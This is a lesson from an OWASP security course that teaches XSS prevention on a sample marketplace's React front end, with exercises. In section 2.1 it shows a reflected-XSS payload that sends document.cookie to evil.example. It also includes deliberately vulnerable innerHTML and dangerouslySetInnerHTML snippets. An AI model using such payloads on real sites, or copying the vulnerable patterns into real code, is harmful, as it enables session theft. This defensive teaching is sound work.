In the previous lesson we saw that XSS is, in essence, an injection whose interpreter is the browser: instead of slipping SQL into the database, the attacker slips in JavaScript that runs in someone else's browser. That's why the 2021 Top Ten folded it into A03. But XSS has prevention techniques so specific (contextual output encoding, CSP, the behavior of frameworks like React) that it deserves its own lesson, focused on BazarNube's front end.

The impact is serious because the code runs with the victim's identity: session-token theft, actions on their behalf, theft of data they see on screen, keylogging or defacement (altering the page). In a marketplace with customers and an admin panel, a well-placed stored XSS can compromise admin accounts. We'll look at the three classic types over real BazarNube components.

Legal and ethical notice: the payloads are illustrative and use fake data. Practice only on your own systems or with explicit authorization.

Contents

  1. What XSS is and why it's dangerous
  2. The three types: reflected, stored and DOM-based
  3. Prevention 1: contextual output encoding
  4. Prevention 2: React escapes by default (and its escape hatches)
  5. Prevention 3: Content Security Policy (CSP)
  6. Sanitizing rich HTML
  7. Session cookies and XSS
  8. Common mistakes, exercises and solutions

  1. What XSS is and why it's dangerous

XSS happens when the application inserts user-controlled data into a page without proper encoding, so the browser interprets it as markup or script instead of text. The payload runs in the victim's origin context (same domain), so it can read unprotected cookies, the DOM, localStorage, and make authenticated requests to the API.

  1. The three types

flowchart TD
  A[Reflected] --> A1[The payload travels in the request and is reflected in the response]
  B[Stored] --> B1[The payload is saved in the DB and served to other users]
  C[DOM-based] --> C1[Client-side JS writes untrusted input into the DOM]

2.1 Reflected XSS in BazarNube

The results page shows the searched term. An old (server-rendered) version did:

// VULNERABLE (server render): inserts q without encoding
res.send(`<h1>Results for: ${req.query.q}</h1>`);

With ?q=<script>fetch('https://evil.example/c?'+document.cookie)</script>, anyone who opens that link runs the script: their cookies travel to the attacker. The link is distributed by email or social media. It's reflected because the payload travels in the request and is "reflected" back.

2.2 Stored XSS in BazarNube

Product reviews store the customer's text and display it to every visitor:

// ReviewList.jsx — VULNERABLE: injects raw HTML from the review
function Review({ review }) {
  return <div className="review"
    dangerouslySetInnerHTML={{ __html: review.body }} />;
}

A malicious customer posts a review whose body is <img src=x onerror="/* steal session */">. From then on, everyone who views the product runs the payload. Stored XSS is the most dangerous: it doesn't require tricking the victim with a link; it's served on its own.

2.3 DOM-based XSS

Here the server is innocent: the flaw is in the client-side JavaScript, which takes untrusted data and writes it into the DOM insecurely.

// VULNERABLE (DOM-based): writes the URL hash as HTML
document.getElementById('tab').innerHTML = location.hash.slice(1);

With #<img src=x onerror=...>, innerHTML runs the payload without the server ever being involved. The fix is to use textContent (which doesn't interpret HTML) or to sanitize.

  1. Prevention 1: contextual output encoding

The core defense against XSS is to encode output according to the context where the data is inserted. The same value requires different encoding depending on whether it goes into HTML, an attribute, JavaScript or a URL.

Context Required encoding Example
HTML body <&lt;, >&gt;, &&amp; <div>DATA</div>
HTML attribute Encode quotes and <,> <input value="DATA">
JavaScript Escape per JS syntax / use JSON var x = "DATA";
URL encodeURIComponent <a href="/x?q=DATA">
CSS Escape per CSS syntax style="width:DATA"

The rule: encode at the point of output, for the output context. Inserting data into JavaScript or into event handlers (onclick="...") is especially dangerous; avoid it whenever you can.

  1. Prevention 2: React escapes by default

Good news for BazarNube's front end: React automatically escapes everything you interpolate with { } in JSX. This is safe:

// SECURE: React encodes review.body as TEXT
function Review({ review }) {
  return <div className="review">{review.body}</div>;
}

Even if review.body contains <script>..., React shows it as literal text and doesn't run it. Most XSS in React apps appears when the developer disables this protection. The escape hatches to watch:

  • dangerouslySetInnerHTML (the name is already a warning): injects raw HTML. Only with sanitized content.
  • href/src with javascript:: <a href={userUrl}> allows javascript:alert(1). Validate the scheme (only http/https).
  • Rendering API data in dangerouslySetInnerHTML assuming it "comes from home": the API may serve data that another user entered (stored XSS).

Fixing the reviews

If reviews are plain text, the fix is trivial: use {review.body} and delete the dangerouslySetInnerHTML. If they need formatting (bold, lists), you have to sanitize (section 6). And schema validation for user URLs:

// SECURE: allow only http(s) in user links
function safeUrl(u) {
  try { const p = new URL(u); return ['http:', 'https:'].includes(p.protocol) ? u : '#'; }
  catch { return '#'; }
}
<a href={safeUrl(review.authorSite)}>Author's website</a>

  1. Prevention 3: Content Security Policy (CSP)

CSP is a header that tells the browser which origins it may load and execute resources from. It acts as a safety net: even if an XSS slips through, a good CSP prevents the payload from loading external scripts or executing inline code.

// app.js — CSP in BazarNube's API/gateway with helmet
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'"],          // no inline and no external domains
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    frameAncestors: ["'none'"]      // anti-clickjacking
  }
}));

With scriptSrc: 'self' and no 'unsafe-inline', an injected <script> or an onerror="..." won't run, because the browser only accepts scripts served from its own origin. CSP doesn't replace output encoding (it's defense in depth), but it raises the bar considerably. Avoid 'unsafe-inline' and 'unsafe-eval'; if you need specific inline scripts, use nonces or hashes.

  1. Sanitizing rich HTML

When the user must be able to submit formatted HTML (a product-description editor for sellers), encoding isn't enough (you'd lose the formatting) and you can't trust the input. You sanitize it with a library that applies an allowlist of permitted tags/attributes:

// SECURE: sanitize before using dangerouslySetInnerHTML
import DOMPurify from 'dompurify';
function ProductDescription({ html }) {
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'ul', 'li', 'p', 'br'],
    ALLOWED_ATTR: []
  });
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

DOMPurify strips <script>, on* handlers, javascript: and any tag outside the allowlist, leaving only harmless formatting. Never implement your own sanitizer with regular expressions: it's a notoriously hard problem and there's always a bypass.

Data need Correct technique
Plain text (reviews, names) Output encoding / React's { }
Formatted HTML (descriptions) Allowlist sanitization (DOMPurify)
User URL http(s) scheme validation
Never Concatenating into innerHTML/dangerouslySetInnerHTML without sanitizing

  1. Session cookies and XSS

A typical goal of XSS is to steal the session token. Key mitigation: mark the session cookie as HttpOnly, so JavaScript cannot read it.

// SECURE: session cookie inaccessible from JS
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: { httpOnly: true, secure: true, sameSite: 'lax' }
}));

HttpOnly neutralizes cookie theft via document.cookie (although an XSS can still act on the victim's behalf). Secure limits it to HTTPS and SameSite reduces CSRF risk. Session management is covered in depth in A07 (03-09); here it matters as a way to reduce XSS impact.

Common Mistakes and Tips

  • Believing "React is safe" and leaving it there. It is, until you use dangerouslySetInnerHTML, href with user data, or eval.
  • Sanitizing on the client and trusting that for the server. Encoding/sanitization must happen at render time; don't rely on input filters alone.
  • Filtering only <script>. There are dozens of vectors (onerror, onload, javascript:, SVG...). Use context encoding or a serious sanitizer.
  • Writing your own regex sanitizer. It always has a bypass. Use DOMPurify.
  • CSP with 'unsafe-inline'. It cancels much of its value. Use nonces/hashes if you need inline.
  • Session cookie without HttpOnly. You're gifting the token to the attacker.
  • Tip: apply all three layers together —contextual encoding, an escaping framework, and CSP— for defense in depth.

Exercises

Exercise 1. Classify each case as reflected, stored or DOM-based: a) A saved comment that runs a script on every visitor. b) element.innerHTML = location.search. c) An error message that repeats a URL parameter without encoding.

Exercise 2. This component shows the seller's public name, which the seller edits themselves. Is it vulnerable? Fix it if needed.

<h2 dangerouslySetInnerHTML={{ __html: seller.displayName }} />

Exercise 3. Explain why a CSP with scriptSrc: ['self'] mitigates an injected <img src=x onerror="...">, even if the XSS managed to inject the HTML.

Solutions

Solution 1. a) stored; b) DOM-based; c) reflected.

Solution 2. Yes, it's vulnerable: the displayName, controlled by the seller, is injected as raw HTML (stored XSS affecting every buyer). Since it's only text, the fix is to not use raw HTML:

<h2>{seller.displayName}</h2>   // React escapes it as text

Solution 3. The onerror is an inline handler. Without 'unsafe-inline' in scriptSrc, the browser refuses to run any inline script, including injected event handlers. The HTML may slip through, but the code won't run. That's why CSP is a safety net against XSS.

Conclusion

XSS is fought in layers: contextual output encoding as the foundation, a framework that escapes by default (React) used with discipline —watching dangerouslySetInnerHTML, URL schemes, and sanitization with DOMPurify—, a strict CSP as a safety net, and HttpOnly cookies to reduce impact. Combined well, they make XSS a rare and low-impact problem.

Backlog entry — XSS: removed dangerouslySetInnerHTML from reviews and the seller name; sanitization with DOMPurify in seller descriptions; added a strict CSP with helmet; scheme validation on user URLs; session cookies marked HttpOnly+Secure+SameSite.

So far, the A01–A03 failures are largely ones of implementation. But many breaches are born before a single line is written: in the design. The next lesson debuts a 2021 category, A04:2021 – Insecure Design, where we'll rethink BazarNube's coupon and checkout flow.

OWASP Course: Guidelines and Standards for Web Application Security

Module 1: Introduction to OWASP

Module 2: Main OWASP Projects

Module 3: OWASP Top Ten 2021 in Depth

Module 4: OWASP ASVS (Application Security Verification Standard)

Module 5: OWASP SAMM (Software Assurance Maturity Model)

Module 6: OWASP ZAP (Zed Attack Proxy)

Module 7: Best Practices and Recommendations

Module 8: Practical Exercises and Case Studies

Module 9: Assessment and Certification

© Copyright 2026. All rights reserved